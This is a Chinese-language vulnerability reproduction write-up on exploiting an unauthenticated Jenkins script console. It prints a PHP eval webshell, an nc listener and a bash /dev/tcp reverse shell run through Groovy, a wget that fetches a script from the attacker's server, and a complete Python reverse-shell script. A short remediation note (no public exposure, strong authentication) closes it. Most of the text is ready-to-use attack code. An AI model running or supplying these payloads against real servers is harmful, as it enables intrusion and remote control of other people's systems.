一、漏洞描述
未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。
二、漏洞复现
漏洞环境为XXXX的环境。
我们直接来执行脚本这个地方先试试执行命令。
可以看到成功执行,再来试试,上传一个木马:
windows: new File("D:\phpstudy_pro\WWW\test.php").write('<?php @eval($_POST[cmd]);?>'); lnux: new File("/var/www/html/test.php").write('<?php @eval($_POST[cmd]);?>');
这里为lnux
可以看到权限不允许。直接来一波反弹shell
vps上执行
nc -Lvp 8089
jenkins命令行执行
println 'bash -i >& /dev/tcp/127.0.0.1/8089 0>&1'.execute().text
发现反弹失败。这时候莫慌,我们的写一个正向连接的脚本2.py,然后放在vps上,开一个python服务,用weget把我们的脚本放在一个可执行的目录下,这里我们选择/tmp下,然后去执行我们的脚本,让他连接我们的nc。
然后去执行
println 'wget http://127.0.0.1:8081/2.py -P /tmp/'.execute().text
其中2.py内容为:
#!/usr/bin/python # This is a Python reverse shell script import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("127.0.0.1",8089)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
这里是没有回显的,我们直接去看下有没有下载上,
执行:
println 'cat /tmp/2.py'.execute().text
接下来执行这个脚本,就可以获取shell了。
三、漏洞修复
1、禁止把Jenkins直接暴露在公网
2、添加认证,设置强密码复杂度及账号锁定。